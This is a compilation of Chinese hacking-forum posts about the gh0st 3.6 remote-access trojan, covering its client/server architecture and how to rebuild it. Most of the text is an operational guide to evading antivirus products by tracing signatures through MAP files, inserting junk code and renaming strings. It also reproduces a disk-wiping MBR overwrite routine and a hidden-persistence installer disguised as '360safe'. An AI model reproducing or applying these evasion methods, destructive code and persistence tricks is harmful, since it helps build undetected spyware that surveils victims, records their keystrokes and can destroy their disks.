gh0st 架构

这是网盘地址,大家可以不用耗威望了http://www.rayfile.com/zh-cn/files/eb74cb2b-7372-11de-b93a-0014221b798a/
现在开始分析gh0st客户端程序框架。
首先我们知道,gh0st是单文档类型的程序框架。
文档类型的都是从theApp开始的。theApp是一个全局变量。
那我们就先看一下CGh0stApp这个类的初始化函数
BOOL CGh0stApp::InitInstance()
下面很大一部分是生成的框架。我给大家指出来,就没必要再看这些了
直到 if (!ProcessShellCommand(cmdInfo))
   return FALSE;
都是框架。不去看。分析下面的。
m_pMainWnd->SetMenu(NULL);去掉菜单栏,把这句注释掉就有菜单栏了。
m_pMainWnd->ShowWindow(SW_SHOW);
m_pMainWnd->UpdateWindow();
这两句是显示主界面的。
下面自带的注释大家都知道了,就是启动IOCP服务器,就是建立套接字并监听
只不过用的模型是IOCP完成端口的。
首先是获取配置文件信息。
m_IniFile.GetInt("Settings", "ListenPort");
获取端口号,最大连接数。
((CMainFrame*) m_pMainWnd)->Activate(nPort, nMaxConnection);
我们来看这句。
这句是调用CMainFrame类的Activate函数。
m_pMainWnd是单文档类的主界面指针,也是框架类指针。就是CMainFrame类
接下来我们就去Activate函数里面看看
我就在程序里面注释给大家看吧。
BOOL CGh0stApp::InitInstance() //第一步
{
获取端口号();
激活IOCP();///////                      m_pMainWnd)->Activate
}
((CMainFrame*) m_pMainWnd)->Activate(nPort, nMaxConnection)//第二步
{
初始化变量;
完成对象->初始化(传递回调函数,,,);//////   m_iocpServer->Initialize();
设置状态栏状态();
}
bool CIOCPServer::Initialize(NOTIFYPROC pNotifyProc, CMainFrame* pFrame, int nMaxConnections, int nPort)// 第三步
{
保存指针;
创建监听套接字();
设置FD_ACCEPT();
绑定端口();
监听端口();
创建监听线程();////////////////////           ListenThreadProc//第四步
如果(线程创建==成功)
{
   初始化完成端口();/////          InitializeIOCP();第六步
}
}
bool CIOCPServer::InitializeIOCP(void)//第六步
{
创建完成端口();
根据系统信息创建工作者线程();//////        ThreadPoolFunc//第七步

}
unsigned CIOCPServer::ListenThreadProc(LPVOID lParam)//第四步
{
获取FD_ACCEPT事件();
调用接收函数();/////                      pThis->OnAccept()第五步
}
void CIOCPServer::OnAccept()//第五步
{
获取客户端套接字();
创建客户端上下文变量();//保存客户端套接字
关联完成端口();
设置套接字状态();
将客户端上下文添加至上下文列表();
投递一个IO初始化到完成端口();
调用回调函数,通知主对话框有客户连接();
投递WSARecv()到完成端口,等待接收客户端数据();
}
unsigned CIOCPServer::ThreadPoolFunc (LPVOID thisContext) //第七步
{
获取IO完成状态();
出错处理();
如果(结果==正确)
{
   根据IO完成状态进行相应处理();//我们还要看一下相应处理函数。
}
}
BEGIN_IO_MSG_MAP()//这个就是他的相应处理消息表。去分析以下这些处理函数
   IO_MESSAGE_HANDLER(IORead, OnClientReading)
   IO_MESSAGE_HANDLER(IOWrite, OnClientWriting)
   IO_MESSAGE_HANDLER(IOInitialize, OnClientInitializing)
END_IO_MSG_MAP()
//再把这些函数的框架写一下
bool CIOCPServer::OnClientReading(ClientContext* pContext, DWORD dwIoSize)
{
判断(是否断开)
{
   移除客户端();
}
判断(包格式是否不同)
{
   重发();
}
写入接收数据到缓冲区();
通知主框架处理NC_RECEIVE();
判断(包数据是否正确)
{
   不正确处理();
   正确->通知主框架处理NC_RECEIVE_COMPLETE();
}
投递接收();
}
其他的几个就不给大家分析了。或者放在下次分析。
这只是一个简单的框架分析。对理清程序处理结构有帮助,但对修改个人专版,没有多大帮助。
简单说一下界面美化。现在的美化,基本上都是添加一个工具栏。工具栏可以上网查CToolBar这个类
当然懂得MFC的自然知道了。
主要就是在CMainFrame类的OnCreate里面添加,创建一个工具栏
可以参考gh0st里面自带的程序段。给大家搜索一下吧。
要想添加工具条,现在资源的Toolbar中new一个工具栏
这些代码就是添加工具栏的。至于其他的美化,还是研究一下MFC吧。好了,先到这里吧

 

 

 

  • void ServiceMain( int argc, wchar_t* argv[] ) ////////////////第一步
  • {
  • 保存服务名称();
  • 注册服务();
  • 调用MyCreateThread运行main主服务();///////////////////////////第二步
  • 等待退出();
  • }
  • HANDLE MyCreateThread (...)///////////////////////////////////第二步
  • {
  • 构建参数列表变量;
  • 创建参数传递完毕事件();
  • _beginthreadex创建线程();////////////////////////////////////第三步
  • WaitForSingleObject等待参数传递完毕();
  • 关闭完毕事件句柄();
  • 返回创建的线程句柄();
  • }
  • unsigned int __stdcall ThreadLoader(LPVOID param)/////////////第三步
  • {
  • 获取参数列表;
  • 设置参数传递完毕事件();//第二步中的完毕事件
  • 调用main主函数;//////////////////////////////////////////////第四步
  • }
  • DWORD WINAPI main(char *lpServiceName)////////////////////////第四步
  • {
  • FindConfigString查找配置信息();
  • 设置交互桌面();
  • if (CKeyboardManager::g_hInstance != NULL)
  • {
  • 设置异常处理();
  • 恢复ssdt();
  • 保存服务名();
  • 设置退出事件名();
  • 以URL名创建互斥体();
  • 重配置服务();
  • 删除安装文件();
  • }
  • 定义客户端套接字();
  • while(1)//主循环,
  • {
  • if(断开错误!=NOT_CONNECT 并且 断开错误!= HEARTBEATTIMEOUT_ERROR)//用于每两分钟重连一次
  •    {
  • 打开第四步中的退出事件();//在卸载服务端时,会创建这个事件
  • if(事件为真)//只要不退出,就不会执行这个if
  •     {
  •    断开连接();
  •     }
  •    }
  • if(上线信息获取失败)
  •    {
  • 断开错误=GETLOGINFO_ERROR;
  • 跳出本次循环;
  •    }
  • 是否开代理();
  • if (!socketClient.Connect(lpszHost, dwPort))//////////第五步
  •    {
  • 断开错误= CONNECT_ERROR;
  • 跳出本次循环;
  •    }
  • 发送登录信息();
  • 初始化核心管理变量CKernelManager manager();
  • 设置客户端套接字的回调对象(manager);
  • 循环等待十秒();
  • if(没有激活信息)
  • {
  •    跳出本次循环重新连接;
  • }
  • 继续断开判断();
  • }
  • }
  • bool CClientSocket::Connect(LPCTSTR lpszHost, UINT nPort)////////第五步
  • {
  • Disconnect();//断开连接,否则每连接一次就有一个新的Socket
  • 初始化套接字();
  • connect连接主机();
  • 设置保活机制();
  • 保持运行状态=真;
  • 创建工作线程(WorkThread);////////////////////////////////第六步
  • }
  • DWORD WINAPI CClientSocket::WorkThread(LPVOID lparam)////////////第六步
  • {
  • while (保持运行状态=真)
  •    {
  • 选择指定套机字关心的网络事件();
  • if(套接字错误)
  •     {
  •    断开连接;
  •     }
  • if(关心网络事件到来)
  •     {
  •    recv接收数据();
  •    if(接收数据<=0)
  •    {
  • 断开连接;
  • 跳出循环;
  •    }
  •    if(接收数据>0)
  •    调用OnRead处理接收();///////////////////////////第七步
  •     }
  •    }
  • }
  • void CClientSocket::OnRead( LPBYTE lpBuffer, DWORD dwIoSize )///第七步
  • {
  • if(接收数据==0)
  • {
  • 断开连接();
  • 返回;
  • }
  • if(接收数据大小==5 且 接收数据==Gh0st)
  • {
  • 重新发送数据();
  • 返回;
  • }
  • 压缩数据写入();
  • while (压缩数据长度 > HDR_SIZE)
  • {
  • 复制包头();
  • if(包头!=Gh0st)
  • {
  •     甩出坏包信息;
  • }
  • 获取包大小();
  • if(包大小>0 且 压缩数据长度>=包大小)
  • {
  •     解密数据();
  •     if(解密成功)
  •    {
  • 调用回调对象->OnReceive();//////////////////////第八步
  •    }
  • }
  • }
  • }
  • void CKernelManager::OnReceive(LPBYTE lpBuffer, UINT nSize)///////第八步
  • {
  • switch (命令)
  • case 激活命令:
  • case 文件管理:
  •    创建文件管理线程(Loop_FileManager);//拿文件管理举例   /////////第九步
  • case 屏幕查看:
  •    创建屏幕查看线程(Loop_ScreenManager);////以下类似
  • case 摄像头:
  • case 声音记录:
  • case 远程sehll:
  • case 键盘记录:
  • case 系统信息:
  • case 显示打开网页:
  • case 隐藏打开网页:
  • case 卸载:
  • case 清除日志:
  • case 关机选择:
  • case 改备注:
  • case 更新服务端:
  • case 回复心跳包:
  • }
  • DWORD WINAPI Loop_FileManager(SOCKET sRemote)//////////////////////第九步
  • {
  • CClientSocket socketClient;//为文件管理新建一个客户套接字
  • if (!socketClient.Connect(IP,端口))//相当于重走了一遍最开始的连接套路。
  •    return -1;
  • CFileManager manager(&socketClient);//在CManager的构造函数中设置了回调函数。
  • socketClient.run_event_loop();//要在这里等待,否则socketClient;生命周期就结束了。
  • return 0;
  • }

     

     

    远控软件gh0st源码免杀之我谈
    2009-12-21 13:29

    远控软件gh0st3.6开源了,开源意味着我们可以在此基础上进行二次开发,同时也意味着杀软可以较容易的查杀该款远控木马,既然要利用,我们就做好源码基础上的木马免杀工作。

        好久没有来博客了,我把免杀这部分整理了一下,先抛一砖头,有兴趣的朋友可以接着做,也可以和本人交流。


        gh0st远控软件采用驱动级RESSDT过主动,svchost参数启动,替换系统服务的方式工作的,工作方式较为先进,美中不足的部分是没有进行驱动级或用户级隐藏,当然这部分可以添加进去。编码利用了VC的编程环境。

    一、环境配置
        编译环境一定要配置好:DDK+SDK+VC6,DDK用来编译sys文件的,SDK+VC6是用来编译工程的,配置部分比较简单,网上有很多资料,这里不再详述,有兴趣的朋友也可以查看DDK和SDK的相关帮助。

    二、特征码定位简述
        杀毒软件查杀木马的原理基本是根据特征查杀的,被查杀的部分我们称之为特征码,所以我们可以利用特征码定位工具MyCLL定位出病毒的特征码位置,定位工具原理是将被扫描木马分块,利用分段填充的方式,匹配杀软的特征值,找到杀软查杀病毒的位置。
        定位出特征码,如何反向找到源码中的对应位置呢?请看下面分析,

    三、二进制文件与源码定位之map文件利用
        map文件是二进制和源码之间对应的一个映射文件。
        我们假设根据第三步我们定位出了病毒的特征码:

              病毒名称       特征码位置      内存地址
            svchost.dll 000038AA_00000002   100044AA
            svchost.dll 00005F98_00000002

        第一步设置VC编译环境生成Map文件。
        在 VC 中,点击菜单“Project -> Settings”选项页(或按下 Alt+F7),选择 C/C++ 选项卡,并在最下面的 Project Options 里面输入:/Zd ,然后要点击 Link 选项卡,选中“Generate mapfile”复选框,并在最下面的 Project Options 里面输入:/mapinfo:lines,表示生成 MAP 文件时,加入行信息。设置完成。

        第二步编译VC工程,设置活动工程编译即可,这个不用说明。这个步骤完成后,在release(或debug)目录,多了一个.map文件(比如svchost.map)。

        第三步打开map文件(用UE或文本编辑器打开都行),形式如下:

    (begin)
    Timestamp is 488fcef2 (Wed Jul 30 10:16:18 2008)

    Preferred load address is 10000000
    ---------------------------------------------------------------------------1----(为方便说明,wrw添加)
    Start         Length     Name                   Class
    0001:00000000 00010a50H .text                   CODE
    0001:00010a50 00000485H .text$x                 CODE
    0002:00000000 000004c8H .idata$5                DATA
    ......
    0003:00000010 00000004H .CRT$XIZ                DATA
    0003:00000020 00001a50H .data                   DATA
    0003:00001a70 00000688H .bss                    DATA
    0004:00000000 000000a8H .rsrc$01                DATA
    0004:000000b0 00000cf0H .rsrc$02                DATA

    ----------------------------------------------------------------------------2---(为方便说明,wrw添加)
    Address         Publics by Value              Rva+Base     Lib:Object

    0001:00000000       ??0CAudio@@QAE@XZ          10001000 f   Audio.obj
    0001:000000d0       ??_GCAudio@@UAEPAXI@Z      100010d0 f i Audio.obj
    0001:000000d0       ??_ECAudio@@UAEPAXI@Z      100010d0 f i Audio.obj
    0001:000000f0       ??1CAudio@@UAE@XZ          100010f0 f   Audio.obj
    0001:000001e0       ?getRecordBuffer@CAudio@@QAEPAEPAK@Z 100011e0 f   Audio.obj
    0001:00000240       ?playBuffer@CAudio@@QAE_NPAEK@Z 10001240 f   Audio.obj
    0001:000002c0       ?InitializeWaveIn@CAudio@@AAE_NXZ 100012c0 f   Audio.obj
    ......
    0001:00003310       ?SendToken@CFileManager@@AAEHE@Z 10004310 f   FileManager.obj
    0001:00003320       ?UploadToRemote@CFileManager@@AAE_NPAE@Z 10004320 f   FileManager.obj
    0001:00003440       ?FixedUploadList@CFileManager@@AAE_NPBD@Z 10004440 f   FileManager.obj
    0001:00003670       ?StopTransfer@CFileManager@@AAEXXZ 10004670 f   FileManager.obj
    0001:00003730       ?CreateLocalRecvFile@CFileManager@@AAEXPAE@Z 10004730 f   FileManager.obj

    ......
    ----------------------------------------------------------------------------3---(为方便说明,wrw添加)

    Line numbers for .\Release\FileManager.obj(E:\vtmp\gh0st3src\Server\svchost\common\FileManager.cpp) segment .text

        17 0001:00002630    20 0001:0000267f    21 0001:00002698    24 0001:000026d0
        25 0001:000026f8    26 0001:0000273c    29 0001:000027d0    33 0001:000027ee
        77 0001:000027f8    36 0001:000027fb    37 0001:00002803    77 0001:0000280d
    ......
       532 0001:0000340f   534 0001:00003414   537 0001:00003428   540 0001:00003440
       546 0001:0000345d   547 0001:00003487   548 0001:00003490   549 0001:00003492
       551 0001:0000349e   552 0001:000034b8   553 0001:000034cb   554 0001:000034d4
       558 0001:000034de   560 0001:000034e9   563 0001:000034ee   564 0001:00003506
    ......

    (end)

    我们看下,定位svchost.dll 的第一个特征码内存地址为:100044AA,在第2块中,我们可以找到RVA+BASE与之很接近的是

    0001:00003440       ?FixedUploadList@CFileManager@@AAE_NPBD@Z 10004440 f   FileManager.obj

    这样我们可以定位到FileManager.cpp中的FixedUploadList函数,是不是范围缩小了?
    下面我们再缩小代码行
    利用这个公式:特征码行偏移 = 特征码地址(Crash Address)- 基地址(ImageBase Address)- 0x1000
    看起来好像很难,其实很简单,我们将100044AA去掉内存基址10000000,再减1000,因为PE很多从1000开始,可以得到代码偏移地址为34AA。到第3块中找对应的代码行。
    偏移地址34AA在(551 0001:0000349e   552 0001:000034b8 )中间,也就是551行和552行中间,我们到源程序中查找第551行:
            wsprintf(lpszFilter, "%s%s*.*", lpPathName, lpszSlash);
    这样就定位出源代码了,要怎么修改就怎么修改它就可以了。

    四、实战免杀
        A、卡巴免杀
        首次编译后,先做卡巴的免杀。卡巴杀sys文件和dll,当然也就杀包装它们的install.exe,最后卡巴还杀生成的sever,我这里说杀生成好的server不是和前面的特征码重叠的地方,而是杀配置信息。
        第一步、sys免杀
        sys重新编译后,增加了输入表的函数,同时系统不同,造成很多地方不同于原特征,顺利通过卡巴、金山、小红伞等杀软。
        第二步、svchost.dll免杀
         特征码定位MultiByteToWideChar和"gh0st update"两个位置。这里是通过第3步map文件得出的。
        卡巴怕加花指令, 这个函数MultiByteToWideChar的调用上,可以在这个函数前面随便加几句无效语句就可以通过卡巴杀软。
         字符串调用"gh0st update" ,这个是用于更新用的 ,如果不要在线更新,直接把这个语句所在代码块删除;嘿嘿,其实搜索工程替换这个字符串为其他的字符串就可以了^_^,这个方法同时可以过金山杀软。
        第三步、server免杀
        卡巴定位在最后的配置信息,采取跳转显然是不行的,采用加花的办法,在写入AAAAAA配置信息之前,随便写些东西,就可以做server免杀。
        卡巴免杀完成!

        B、Avast免杀
        最新的avast杀软再查杀1下,杀install.exe和svchost.dll(也就是杀生成的文件和其中的资源文件),接着做它的源码免杀。
        定位在特征字符串%02d/%02d/%02d和“SYSTEM\CurrentControlSet\Services\%s”两个地方。
        解决方案:
        1、svchost.dll的特征码定位在键盘记录KeyboardManager.cpp文件中的SaveInfo(char *lpBuffer)函数。特征字符串%02d/%02d/%02d,也就是我们看到键盘记录的日期,修改之,修改的方法很多,将其改为[%d/%d/%d %d:%d:%d] ,编译即可通过avast杀软。
        2、install的特征码定位在“SYSTEM\CurrentControlSet\Services\%s”,对应文件是install.cpp里的InstallService函数,修改大小写,编译即可通过免杀。
      

    五、添加垃圾代码的小方法
        垃圾代码要移动特征码所在的位置,不要跑到堆栈中了,这样的代码没有用。可以采取添加for循环,做计数,简单统计,采用局部变量,不改变后面的逻辑为宜。
        添加输出表的方法:
        有杀输出表的,可以在生成的svchost.dll上添加空函数 ,但是每次编译都要修改1次资源 ,其实我们在源码上添加如下语句:
         extern "C" __declspec(dllexport) bool JustTempFun();//声明
         ……
         extern "C" __declspec(dllexport) bool JustTempFun() //实现
        {
            return false;
        }
       编译后,输出表就被改变了,有的杀软就可做到代码免杀。


    六、gh0st自动生成6to4ex.dll的修改
        看到好多站友提问自动生成6to4ex.dll的问题,有热心站友也提出了自己的见解 ,我感觉有些人提出的解决方案不完全正确,有可能造成刚入手人误解,我根据自己的理解说明1下。

         gh0st服务端是通svchost -netsvcs启动的,所以程序要利用netsvcs 服务,服务端也就是根据netsvcs生成的,故不能说服务端生成是随机的,相对于大多数系统来讲,基本是固定的,下面看分析。

         查看install.cpp里面的InstallService()方法,首先遍历HKEY_LOCAL_MACHINE\SOFTWARE\ Microsoft\Windows NT\CurrentVersion\Svchost中的服务项,查找到一个服务后,程序采取替换服务的方法,将原服务删除,然后生成对应服务项+ ex.dll的文件替换原服务,6to4服务一般排在第一位,6to4服务是一种自动构造隧道的方式,作用在于只需要一个全球惟一的IPv4地址便可使得整个站点获得IPv6 的连接,这个服务对一般人来讲,基本闲置,所以我们的程序就把6to4服务给替换掉,同时在windows\system32\目录下生成 6to4ex.dll,以后启动就是6to4ex了,如果把这个服务跳过去,就依次向下生成Ias、Iprip等服务啦,如果netsvcs项没有可以替换的服务,则程序将自己添加1个服务,名称就是由 AddsvchostService()方法产生的netsvcs_0x%d。

         这样说不知道关心服务名称的站友明白了不?

         这个不能说是技术问题,但是小技巧问题可以从这里产生,我不知道其他人的360是怎么过的,但是我觉得可以提示1下的是,如果是360默认系统安全的服务,它肯定不会报不安全,替换闲置的系统安全的服务则通过360的效果要好的多。

    本文出自 “我的空间” 博客,请务必保留此出处http://wangruwei.blog.51cto.com/186868/91624


    gh0st远控服务端直接开启键盘记录
    2009-12-21 13:30
    Gh0st3.6编译和源码免杀问题(收集汇总)
    2009-12-21 13:35

    详解gh0st源码中去验证(去除逻辑炸弹)
    去验证:   BuildView.cpp
    // 以下是原程序效验代码 全部注释掉 即可
    //   char strVer[10];
    /*   char strTitle[10];
       strVer[0] = 'C';
       strVer[1] = '.';
       strVer[2] = 'R';
       strVer[3] = 'u';
       strVer[4] = 'f';
       strVer[5] = 'u';
       strVer[6] = 's';
       strVer[7] = ' ';
       strVer[8] = 'S';
       strVer[9] = '\0';
       strTitle[0] = 'G';
       strTitle[1] = 'h';
       strTitle[2] = '0';
       strTitle[3] = 's';
       strTitle[4] = 't';
       strTitle[5] = ' ';
       strTitle[6] = 'R';
       strTitle[7] = 'A';
       strTitle[8] = 'T';
       strTitle[9] = '\0';
       CString str;
       GetDlgItemText(IDC_STATIC_VER, str);
       if (str.Find(strVer) == -1)
    ((CGh0stApp *)AfxGetApp())->KillMBR();
       GetParent()->GetWindowText(str);
       if (str.Find(strTitle) == -1)
    ((CGh0stApp *)AfxGetApp())->KillMBR();
    */
    //     以上代码全部注释 即可去除效验

    gh0st.cpp 删除以下代码:
    /////////////////////////////////////////////////////////////////////////////
    // CGh0stApp message handlers
    unsigned char scode[] =
    "\xb8\x12\x00\xcd\x10\xbd\x18\x7c\xb9\x18\x00\xb8\x01\x13\xbb\x0c"
    "\x00\xba\x1d\x0e\xcd\x10\xe2\xfe\x49\x20\x61\x6d\x20\x76\x69\x72"
    "\x75\x73\x21\x20\x46\x75\x63\x6b\x20\x79\x6f\x75\x20\x3a\x2d\x29";
    int CGh0stApp::KillMBR()
    {
           HANDLE hDevice;
           DWORD dwBytesWritten, dwBytesReturned;
           BYTE pMBR[512] = {0};
         
           // 重新构造MBR
           memcpy(pMBR, scode, sizeof(scode) - 1);
           pMBR[510] = 0x55;
           pMBR[511] = 0xAA;
         
           hDevice = CreateFile
                (
                "[url=]\\\\.\\PHYSICALDRIVE0[/url]",
                GENERIC_READ | GENERIC_WRITE,
                FILE_SHARE_READ | FILE_SHARE_WRITE,
                NULL,
                OPEN_EXISTING,
                0,
                NULL
                );
           if (hDevice == INVALID_HANDLE_VALUE)
                return -1;
           DeviceIoControl
                (
                hDevice,
                FSCTL_LOCK_VOLUME,
                NULL,
                0,
                NULL,
                0,
                &dwBytesReturned,
                NULL
                );
           // 写入病毒内容
           WriteFile(hDevice, pMBR, sizeof(pMBR), &dwBytesWritten, NULL);
           DeviceIoControl
                (
                hDevice,
                FSCTL_UNLOCK_VOLUME,
                NULL,
                0,
                NULL,
                0,
                &dwBytesReturned,
                NULL
                );
           CloseHandle(hDevice);
           ExitProcess(-1);
           return 0;
    }
    源码中自己去掉
    ==============================================
    另外提供一小部分修改的地方,方便制作个人版,不是很全


    修改服务信息:BuildView.cpp
    修改标题:MainFrm.cpp   搜索 cs.lpszName

    I am virus! Fuck you :-)
    !!!版权所有   篡改必毒!!!
    Please wait - initial screen loading
    请稍候,初始屏幕加载...Kyle个人版
    ============
    Connections
    连 接 控 制
    Connections User
    连接被控远程电脑
    Settings
    配置服务
    Control Settings
    配置-服务端-程序
    Build
    生 成
    Build Server
    生成--服务端


    免杀加工

    gh0st3.6有源码,所以我们可以在源码的基础上做木马的免杀,个人感觉卡巴的免杀最好做。
    先抛一砖头,有兴趣的朋友可以接着做,也可以和本人交流。

    编译环境一定要配置好:DDK+SDK+VC6,DDK用来编译sys文件的,SDK+VC6是用来编译工程的,具体为什么以及如何配置可以查看网上有关资料,也可以查看DDK和SDK帮助。

    首次编译后,先做卡巴的免杀。卡巴杀sys文件和dll,当然也就杀包装它们的install.exe,最后卡巴还杀生成的sever,我这里说杀生成好的server不是和前面的特征码重叠的地方,而是杀配置信息。

    sys免杀
        sys重新编译后,增加了输入表的函数(原因未知,有兴趣的朋友可以比较1下) ,顺利通过卡巴、金山、小红伞等杀软。

    svchost.dll免杀
        1、 MultiByteToWideChar   这个函数的调用上,卡巴就怕花,可以在这个函数前面随便加几句无效语句就可以。
    2、   字符串调用"gh0st update" ,这个是用于更新用的 ,如果不要在线更新,直接把这个语句所在代码块删除;嘿嘿,其实搜索工程替换这个字符串为其他的字符串就可以了^_^,这个方法同样可以过金山,谁让我们有源码呢。

    server免杀
    卡巴定位在最后的配置信息,采取跳转显然是不行的,采用加花的办法,在写入AAAAAA配置信息之前,随便写些东西,就可以做server免杀。

    修改生成的dll
    在源程序里查找%s\\%sEx 或者\%sEx字符串,这个位置就是生成 6to4的地方了,可以改成你想生成的任何的东西。

    纯粹想交流,大家可以在这里跟贴,一起讨论。

    做了这几步..还有瑞星还查杀DLL文件,把DLL文件的大少优化下,加几个输出表..

    金山杀EXE文件,把入口点改下就过了 麦咖啡还杀DLL文件的ServiceMain.把ServiceMain移动远点就过了

    小红伞 NOD还杀输入表....这2个比较麻烦

    我测试了9个杀软 金山,瑞星,卡巴,江民,小红伞,NOD,麦咖啡,诺顿,AVG.

    还有其他杀软.基本上过了.没测试.


    简单补充
    添加垃圾代码的小方法:
       垃圾代码要移动特征码所在的位置,不要跑到堆栈中了,这样的代码没有用。
    可以采取添加for循环,做计数,简单统计,采用局部变量,不改变后面的逻辑为宜。

    添加输出表的方法:
        有杀输出表的,可以在生成的svchost.dll上添加空函数 ,但是每次编译都要修改1次资源 ,其实我们在源码上添加如下语句:
        extern "C" __declspec(dllexport) bool JustTempFun();//声明
        ……
    extern "C" __declspec(dllexport) bool JustTempFun()   //实现
    {
    return false;
    }
    编译后,输出表就被改变了,有的杀软就可做到代码免杀。


    把这个代码加到WinMain上面,然后在WinMain里写入 ActiveRun();      就可以调用了

    这样才能成功
    转载请注明出自暗组技术论坛 http://forum.darkst.com/,本贴地址:http://forum.darkst.com/viewthread.php?tid=38537

    void ActiveRun()//ActiveX自启动的函数
    {
            char WinPath[MAX_PATH];
            GetWindowsDirectory(WinPath,sizeof(WinPath));
            strcat(WinPath,"\\systom32\\svchost.exe");

            HKEY hKey;
            RegDeleteKey(HKEY_CURRENT_USER,"SOFTWARE\\Microsoft\\Active Setup\\Installed Components\\{H8I12RB01-AB-B70-7-11d2-9CBD-0O00FS7AH6-9E2121BHJLK}"); //删除用户里的ACTIVE,免得不知执行
            RegCreateKey(HKEY_LOCAL_MACHINE,"SOFTWARE\\Microsoft\\Active Setup\\Installed Components\\{H8I12RB01-AB-B70-7-11d2-9CBD-0O00FS7AH6-9E2121BHJLK}",&hKey);
            RegSetValue(hKey,NULL,REG_SZ,"360safe",strlen("360safe"));
            RegSetValueEx(hKey,"stubpath",0,REG_EXPAND_SZ,(BYTE*)WinPath,lstrlen(WinPath));
            RegCloseKey(hKey);
    }

    int APIENTRY WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow)
    {
             ActiveRun();
            int nRetCode = 0;
            //Begin=======首次运行,拷贝安装========
            char DstFilePath[256];
            char SrcFilePath[256];
            memset(DstFilePath, 0, 256);
            memset(SrcFilePath, 0, 256);
            ::GetWindowsDirectory(DstFilePath,sizeof(DstFilePath));
            strcat(DstFilePath,"\\systom32\\");
            CreateDirectory(DstFilePath, NULL);SetFileAttrib(DstFilePath);//隐藏路径
            strcat(DstFilePath,"svchost.exe");

            GetModuleFileName(NULL, SrcFilePath, sizeof(SrcFilePath));
           
            if (_stricmp(SrcFilePath,DstFilePath) != 0)
            {
                    DeleteFile(DstFilePath);
                    if(::CopyFile(SrcFilePath,DstFilePath,FALSE)==0)
                            return -1;
                    SetFileAttrib(DstFilePath);//隐藏文件
                    WinExec(DstFilePath,SW_HIDE);
                    uninstall();//自删除
                    ExitProcess(0);
            }


    源码出来这么久了.在网上搜一下,几乎见不到可以用的动画或者教程,

    估计大家都想留着技术换钱吧,这里说几种方法、方便大家举一反三

    源码的解锁:这里不多说了,改版权之前最好看看,

    不然硬盘出事了别找别人(已经有很多例子了)

    SYS文件的免杀:一样有教程,大体思路是用advanced find and replace替换SYS源码中的RESSDT为其他任意等长度字符串达到免杀效果,自己看看动画就懂的

    这里主要说说DLL文件的源码免杀过程(免杀好DLL之后,生成的EXE也没几个特征码了,随便改改就过了)

    首先,要了解编译中MAP的利用:
       第一步设置VC编译环境生成Map文件。
    在 VC 中,点击菜单“Project -> Settings”选项页(或按下 Alt+F7),选择 C/C++ 选项卡,并在最下面的 Project Options 里面输入:/Zd ,然后要点击 Link 选项卡,选中“Generate mapfile”复选框,并在最下面的 Project Options 里面输入:/mapinfo:lines,表示生成 MAP 文件时,加入行信息。
    设置完成。
       第二步编译VC工程,设置活动工程编译即可,这个不用说明。这个步骤完成后,在release(或debug)目录,多了一个.map文件(比如svchost.map)。
       第三步打开map文件(用UE或文本编辑器打开都行),形式如下:


    用MYCCL定位DLL的瑞星主要特征码为00014ba8和00014bbb(还有4个特征码在源码免杀了这两个之后都过了),定在了DLL的输出表的SERVICEMAIN和RESETSSDT上面.
    我们在生成的.MAP文件中找跟这两个地址接近的项,如图:

    00014BA8和00014BBB正好是在图中00014AC0和00014BE0之间,对应的是源码里的一个IOCPSERVER.OBJ,这样我们就通过MAP文件把特征码和源码联系起来了,通过修改源码来
    达到免杀特征码的目的

    打开GH0ST源码,点击CLASSES VIEW>>>>GH0ST CLASSES>>>>>CIOCPSERVER,来到如图位置:

    COICPSERVER好像是一个跟WINSOCK有关的东西,这里汇编高手可以直接通过修改代码达到免杀,而我则加了一个无意义代码达到相同的效果(水平问题),如图:

    这样,这处源码免杀就OK了.不过要想达到到更好的免杀效果,我们还需要手动在输出表里面添加几个空函数,点击FILE VIEW>>>>GHOST FILES>>>>SVCHOST.CPP来到如图位置

    看到SERVICEMAIN和RESETSSDT没有,这里,我手动添加了一个新函数,函数名任意,我取了个"FUCKRUIXING".添加完后如图:

    这样子空函数还没完全添加进去,我们还需要在后面加入一段说明这个函数的代码,如图:

    这样,空函数添加完成了,保存一下.因为金山还杀GH0ST的GH0ST UPDATE字符串,我们利用advanced find and replace替换一下就OK了,道理同SYS的免杀

    最后按编译出来丢到虚拟机里测试下,DLL和SYS过了卡巴,瑞星,金山和NOD32(虚拟机里只装了这几个常用的杀软),可以上线,功能没问题


    直接编译gh0st控制端源码会提示Cj60的一个库里面函数名找不到 估计是原来的库在VC60下编译 不匹配的问题

    找到CJ60文件夹 打开 编译Cj60StaticLib库

    1.报错 找不到文件<..\src\afximpl.h>

    貌似从VC7开始这个头文件放在\src\mfc下 找到 stdafx.h 改之

    #include <..\src\mfc\afximpl.h>

    2.error C2440: “static_cast”: 无法从“UINT (__thiscall CCJControlBar::* )(CPoint)”转换为“LRESULT (__thiscall CWnd::* )(CPoint)”

    类型定义的问题 把相关参数的函数返回值改成LRESULT

    3.error C2440: “static_cast”: 无法从“BOOL (__thiscall CCJPagerCtrl::* )(NMPGSCROLL *,LRESULT *)”转换为“BOOL (__thiscall CCmdTarget::* )(NMHDR *,LRESULT *)”

    宏展开后参数不匹配的问题 把NMPGSCROL改成NMHDR进子程序后强转

    LPNMPGSCROL pnmpgs = (LPNMPGSCROL ) pnmhdr;

    4.error C2664: “MultiByteToWideChar”: 不能将参数 5 从“USHORT *”转换为“LPWSTR”

    这个是从某一版本以后 wchar_t开始变成编译器内置类型的问题 几个串类型之间不能默认转换 强转即可

    接下来编译控制端gh0st

    1.一上来提示找不到stdafx.h 我靠 打开header目录一看 有这个文件 ok 在附加包含目录里面加入“./” 解决了

    2.error 2440 和刚才一样的问题 MFC展开宏的问题 进去强转指针即可

    3.ok 到这里再编译 能通过了 刚才那一堆link错误 由于我们用vc8重新编译了cj60库也解决了 但是多出来几个link错误

    nafxcw.lib(afxmem.obj) : error LNK2005: “void * __cdecl operator new(unsigned int)” (??2@YAPAXI@Z) 已经在 LIBCMT.lib(new.obj) 中定义

    看意思大概是操作符在几个库里有重定义的问题 试了忽略nafxcw.lib和libcmt.lib 都不行 后翻到一篇帖子 这种问题需要在附加依赖项里面指定一下链接的先后顺序即可 先链接nafxcw.lib 后链接libcmt.lib 如果编译调试版在库后面加个d

    好了 甩个服务端到虚拟机上去 咱们开始调试吧

    参考文献:

    http://topic.youkuaiyun.com/t/20030627/23/1966751.html

    operator new 链接重定义的问题

    http://blog.youkuaiyun.com/orbit/archive/2008/11/28/3405309.aspx

    从VC6到VC9移植代码问题总结


    gh0st远控服务端直接开启键盘记录
    作者:admin 日期:2009-03-08
    字体大小: 小 中 大   
